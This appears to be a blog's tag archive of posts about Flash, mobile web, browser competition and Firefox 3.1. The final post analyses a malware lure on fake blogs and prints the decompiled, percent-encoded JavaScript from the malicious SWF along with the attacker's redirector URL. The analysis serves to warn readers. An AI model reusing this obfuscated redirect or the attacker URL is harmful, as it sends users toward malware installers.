Tag Archives: flash

Flash isn’t evil, but …

Last week’s prediction about Flash becoming irrelevant was pretty controversial, and some of you Flashheads had interesting remarks and -rhetorical- questions both in the comments and on Twitter (a big shout-out to Clo Willaerts for sharing). So without further ado, here’s my follow-up.

Flash isn’t evil

Some people seemed all too happy to dismiss my post as being plain old Flash-bashing. Sorry to disappoint you, but I”m not saying Flash is evil or that it will (or should) disappear altogether. Next correction: I do have Flash player installed and in general I do know if a application is made in Flash or not. Heck, the web has been my job for more than 10 years now and Flash has been a point of interest for quite some time already. And yes, there indeed are innovative web applications and games that are build in Flash. That being said, I do think (because of accessibility, SEO and some more philosophical reasons) it’s best to avoid using Flash to develop a site’s core functionality if the same can be achieved with non-propriety, standard web technology.

It’s not about Flash vs HTML5

The comments on last week’s blogpost seemed to focus very much on the individual merits (or lack thereof) of HTML5, CSS3 or Canvas, as if these are islands with no history and no connections to the web mainland. This is, off course, wrong; these “new” technologies just happen to be the most recent evolutions of the core components of the rapidly evolving ecosystem that is the “open web”. Moreover, with HTML, CSS and Javascript being the brick and mortar, libraries such as JQuery, Dojo and YUI are the “prefab” building blocks of open web development, offering plug&play components to efficiently build cross-browser rich web interfaces. So the discussion is not about Flash vs HTML5, but about the choice between Flash and the powerful “open web technology stack”.

about:evolution

“The only constant is change” and that’s all the more valid on the web. Flash has an important role to play in this respect, having pushed the boundaries of  web-based UI’s for many years. But as some of the cutting-edge features that once were only available in Flash, can now be created more efficiently using non-propriety technology, there’s a shift towards the use of those open web components (e.g. the Flash carousel on National Geographic website that was shown in the Adobe video from my previous post has been replaced by a JQuery implementation).

I believe (and that’s what the previous post was about) this trend will continue in 2010 because of features of HTML5, CSS3, canvas, … becoming available to a wider audience either natively (in new browsers) or through libraries that provide cross-browser compatible implementations. And yes, I’m afraid that in my book that means Flash will become less relevant (“irrelevant” in my previous post being an obvious hyperbole).

Loose ends & examples

To sum it all up: when Adobe Flash evangelist Serge writes “Flash Player has it’s place on the web today and in the future” I can only agree. But I’ll bet you that place in the future will be less prominent than the one it holds today.

2010: the year Flash became irrelevant

My 2nd prediction for 2010 (the first one being ‘offline is the new online‘): the glory days of Flash are over. The reason for this is twofold; the mobile web and the strong advances “open web” technology is making.

Open web moving in, fast

Remember the days when everybody wanted to spice up otherwise dull websites with “a flash splash page” and “flash menu’s”? Now menu’s are built in accessible, SEO-friendly HTML once again, using CSS to add style and even behavior, adding some Javascript if magic dust is required . And splash pages, well, those were pretty useless to begin with. Adobe Flash’s stronghold now is video playback and animation, but they’re bound to eventually lose that battle as well.

For starters; video (and audio) on the web doesn’t have to be based on a plugin any more. Firefox, Safari and Chrome have built-in html5 audio- and video-playback capabilities and several video-sites are already experimenting with those native browser multimedia-features. True, there’s still that darn codec-problem, but I bet you that’ll get solved in 2010 (clue; Google is negotiating the acquisition of video codec specialists On2 Technologies).

On the animation-front things are moving at such a fast pace, I even need a bulleted list;

Mobile; the Flash-less revolution

There’s no Flash on the iPhone. It wasn’t there at launch, back in 2007 and – despite me thinking it would arrive in 2009 – it’s still not there. This decision is said to be Steve Jobs’, who in 2008 stated that a full-fledged version of Flash “performs too slow to be useful“. And it seems as though the turtlenecked CEO was right all along; on one hand the mobile web boomed thanks to the iPhone browser and on the other hand Adobe is still struggling to provide a decent mobile Flash experience, despite huge efforts in 2009. The fact is there’s no Flash on the booming mobile web, no-one seems to miss it much and it doesn’t look like that will change any time soon.

Adobe’s answer; mobile banners & deploy to Appstore

So with a Flash-less mobile web and with strong browser-native competition for both multimedia and graphics on the “normal” web, how does Adobe see it’s future? Well, they plan to roll out “iPhone packager for Flash” in CS5, allowing any Flash developer to publish to the AppStore, but there’s still no news about in-browser Flash on the iPhone.

For non-Apple devices, Adobe is boasting a preview version of Flash 10.1 in a mobile browser (the Android 2.0 browser on Google Nexus One in this case) with this promo video;

Flash Player 10.1 on Google's Nexus One Phone
Watch this video on YouTube.

I don’t know about you, but somehow a sub-par game, web video and banners don’t convince that Flash has a bright future ahead. Not on mobile and maybe even not on the open web as it’s shaping up to be.

But maybe you think Flash will remain in the spotlights despite all of this? Why? Let us know in the comments!

Flashback: C64 Encounter op Youtube

Héél lang geleden speelde ik Encounter op m’n Commodore 64 (ik heb er op zolder nog eentje staan, for old times sake) en dat zag er zo uit:

Encounter
Watch this video on YouTube.

Er is overigens een port van c64 emulator Frodo voor Android en de Encounter-d64 is ook downloadbaar, nu nog een joystick op m’n Hero vijzen en we kunnen weer spelen! Anders moet ik die flash-based c64-emulator eens proberen?

New powerful iPhone with Flash preinstalled in q4?

So Adobe is working with Apple and “hope[s] to have Flash installed on over a million shipped devices by the end of the year“?

If you consider that:

  1. The (ARM11-based) CPU in the current iPhone is said to lack the raw power to run CPU-intensive applications like Flash
  2. Adobe has teamed up with ARM to optimize Flash on their processors and especially on the new ARM Cortex (which has been confirmed to be the CPU in the Palm Pré, which seems a great iPhone-competitor)
  3. “shipped devices” seems to imply that Flash would come pre-installed
  4. Apple sells more than 1 million devices each month (based on the past 2 quarters)

So we can expect a new ARM Cortex-based iPhone in time for the EOY holiday sales?

Voorspellingen 2009: browser-oorlog, ook mobiel

ballmer vs jobs: mobile (and/or) browser war (from iphoneblog.com)Naar aanleiding van de publicatie van de voorspellingen van 20 online experts door Netlash, zijn dit enkele van mijn verwachtingen voor het web in 2009;

  • Uw job als (front-end) webdeveloper (of tester) wordt er door de grotere concurrentie tussen browsers niet eenvoudiger op. Ge zult niet alleen moeten ontwikkelen voor Internet Explorer (het nieuwe IE8, maar ook nog altijd voor het verwenste MSIE6 en voor versie 7 natuurlijk) en Firefox, maar ook voor Safari en Google Chrome. Samen zullen deze Webkit-gebaseerde browsers eind 2009 immers tot 15% van de browsermarkt pakken (nu al 9%), tegenover 25% voor Firefox (nu 21%) en pakweg 60% voor (MS)IE (nu nog 68%). Gelukkig zult ge wel iets meer kunnen terugvallen op standaarden (MSIE6 buiten beschouwing gelaten) en zullen componenten als JQuery, YUI of Dojo uw cross-browser inspanningen blijvend verlichten.
  • Bling-developers mogen die dure cursussen Silverlight en JavaFX annuleren, Adobe blijft immers oppermachtig met Flash en -ondanks de gigantische hype in 2008 in veel mindere mate- met het nauw verwante Flex. 2009 zal overigens niet het jaar van Flash op mobile zijn. Een volwaardige versie van Flash voor GSM’s zal immers pas op het einde van het jaar uitkomen en zal dan nog enkel vlot werken op smartphones met ARM Cortex gebaseerde processoren, die nu ook nog niet te koop zijn.
  • Webagencies staan voor een belangrijke uitdaging; “mobiel internet” groeit (mede dankzij krachtige Webkit-gebaseerde mobile browsers) zowel aan vraag- als aanbodkant en kosten-bewuste klanten zullen convergentie tussen hun mobiele en hun “gewone” website hoog op het verlanglijstje hebben staan. Mobiel web wordt dé groeipool, ge kunt dus maar beter mee zijn, zowel functioneel (“mobile usability“) als technisch (er is meer dan Mobile Safari, niet iedereen heeft een uitgebreid toetsenbord en device-dependant rendering is een moving target).

En voor een recessie tenslotte, heb ik in 2009 echt geen tijd. U ook niet, toch?

Firefox 3.1; Mozilla Corp’s answer to Google Chrome

Firefox 3.1 is just around the corner and I’ve been using the beta’s for a couple of months now, but I didn’t really feel the urge to write about it up until now. But with things heating up between Google Chrome (already out of beta!), Safari and Firefox and with new versions of MS Internet Explorer and Opera in the making as well, one can’t really stay indifferent I guess?

First off; a non-exhaustive list of changes;

So if FF3.1 performs that great in Sunspider, does it really feel that much faster as well? To be honest; it doesn’t. Or at least, it didn’t, at first. But here’s a tip; if you’re a bit like me you’re bound to have a lot of extensions installed (and disabled and uninstalled and not compatible and …), you might have some forgotten tweak in your about:config and you probably have huge history and bookmark-databases. In that case do yourself a favor and start from scratch with a new profile and Firefox 3.1 will truly fly.

Off course not all is perfect. I don’t like the fact that tabs inadvertently get moved to a window of their own regularly. And Flash still crashes FF all too often, Firefox really needs something like the process isolation in Google Chrome and MS IE8’s loosely coupled IE, but that might be more than just a small CR.

All in all, with Firefox 3.1 the Mozilla-folks seem to have almost everything to fight the new kid in town. You can download the latest beta here and test for yourself. Let those browser-wars rage!

Nasty blog, scary flash, why are you attacking me?

Yesterday I noticed that all of a sudden no less then 6 new sites linked to this small-time blog. Great huh? Except when checking out those blogs (all on google’s blogger-platform by the way), I quickly saw they were fake, attempting to trick users into installing malware on their windows PC’s.

Being the curious would-be hacker I am, I took the plunge to see how these guys go about trying to infect careless users;

  1. the blogpost contains what seems to be a youtube movie, but which actually is just a animated gif with a link behind it
  2. when clicking “the movie” to play, a swf-file is downloaded (blog.swf)
  3. that blog.swf (which i downloaded on my linux-box and decompiled on the commandline using flare) contains this simple code:
    • this.getURL(‘javascript:eval(unescape(‘%77%69%6E%64%6F%77%2E%6C%6F%63%61%74%69%6F%6E%20%3D%20%22%2F%2F%6D%30%38%62%2E%63%6F%6D%2F%69%6E%2E%63%67%69%3F%64%65%66%61%75%6C%74%22%3B’))’);
    • which translates roughtly into go to http://m08b.com/in.cgi?default
  4. and that URL then takes you for a rollercoaster ride, going through several redirector-sites before arriving on a dark corner of the web where you’re told to install an activeX-component to watch a movie or a codec or sometimes even be told (the irony) to install antivirus software from some unknown company.

Some lessons learned;

  • Flash is evil (or it can be) as it allows attackers to hide malicious code inside a nice looking (and binary) swf-file.
  • Don’t trust the incoming links functionality google’s blogsearch provides (i switched back to technorati for the ‘binnenkomers’-widget on my blog)
  • The ‘report web forgery‘ function in Firefox (under ‘help’) works great. Use it!